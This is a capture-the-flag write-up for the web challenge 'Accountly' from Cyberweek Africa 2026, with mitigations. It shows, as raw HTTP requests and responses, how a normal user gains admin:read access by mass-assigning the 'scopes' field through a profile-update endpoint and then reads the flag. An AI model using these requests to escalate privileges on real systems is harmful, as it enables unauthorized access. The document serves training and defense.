Writeup · Cyberweek Africa 2026 - National CTF (Finals)

Accountly

webmediumsolvedFlag: FLAG{REDACTED}

Overview

The challenge presents a profile page showing three relevant API endpoints:

POST /api/register
POST /api/login
GET  /api/profile
POST /api/profile
GET  /api/flag

The page says that the profile update accepts a JSON patch and that any field in the account record can be updated. The admin report requires the admin:read scope.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

curl is sufficient; no wordlist or credentials are required beyond registering a normal account.

Recon

Step 1 — Inspect the application

Goal: Identify the API endpoints and confirm that any field can be updated via the profile patch.

The profile page shows three relevant API endpoints:

POST /api/register
POST /api/login
GET  /api/profile
POST /api/profile
GET  /api/flag

The client-side JavaScript confirms that the profile update sends JSON entered by the user directly to POST /api/profile:

fetch('/api/profile', {
  method: 'POST',
  body: JSON.stringify(body),
});

Authorization-related fields such as role and scopes should not normally be writable through a normal profile editor.

Exploitation

Step 2 — Register a normal account

Goal: Obtain a session cookie and a baseline profile.

POST /api/register
Content-Type: application/json

{
  "username": "acct177",
  "password": "pass123"
}

Response:

{
  "ok": true,
  "user": {
    "bio": "",
    "name": "Acct177",
    "plan": "free",
    "role": "user",
    "scopes": [],
    "username": "acct177"
  }
}

The session cookie from this response is retained for subsequent requests.

Step 3 — Read the current profile

Goal: Confirm the baseline profile data via GET /api/profile.

GET /api/profile

Response:

{
  "profile": {
    "bio": "",
    "name": "Acct177",
    "plan": "free",
    "role": "user",
    "scopes": [],
    "username": "acct177"
  }
}

Step 4 — Identify the mass-assignment issue

Goal: Submit authorization-related fields and confirm they are accepted without server-side revalidation.

Submit both the authorization scope and role fields, along with normal profile fields:

POST /api/profile
Content-Type: application/json

{
  "scope": "admin:read",
  "scopes": ["admin:read"],
  "role": "admin"
}

Response:

{
  "ok": true,
  "profile": {
    "bio": "",
    "name": "Acct177",
    "plan": "free",
    "role": "user",
    "scopes": ["admin:read"],
    "username": "acct177"
  }
}

The role remained user, but changing the scopes field was sufficient — the server trusted the client-controlled authorization data.

Step 5 — Access the admin report

Goal: Request GET /api/flag with the newly assigned admin:read scope and retrieve the flag.

GET /api/flag

Response:

{
  "flag": "FLAG{REDACTED}"
}

Flag

FLAG{REDACTED}

Returned by GET /api/flag after assigning the admin:read scope via mass assignment.

Vulnerability Analysis

The flaw class is Mass Assignment (a form of Broken Access Control, CWE-284).

Lessons / Takeaways

  • Mass assignment lets attackers write to security-sensitive fields (role, scopes, authorization claims) that should never be client-controlled.
  • Authorization should be revalidated server-side on every sensitive request, not trusted from the client.

Mitigations

  • Use an explicit allowlist for profile fields (e.g. only name and bio).
  • Ignore or reject fields such as role, scopes, plan, username, and authorization claims in the profile-update endpoint.
  • Handle privilege changes through a separate authenticated administrative flow.
  • Never trust client-supplied authorization data; derive privileges server-side.

Techniques

  • Broken Access Control
  • Mass Assignment

References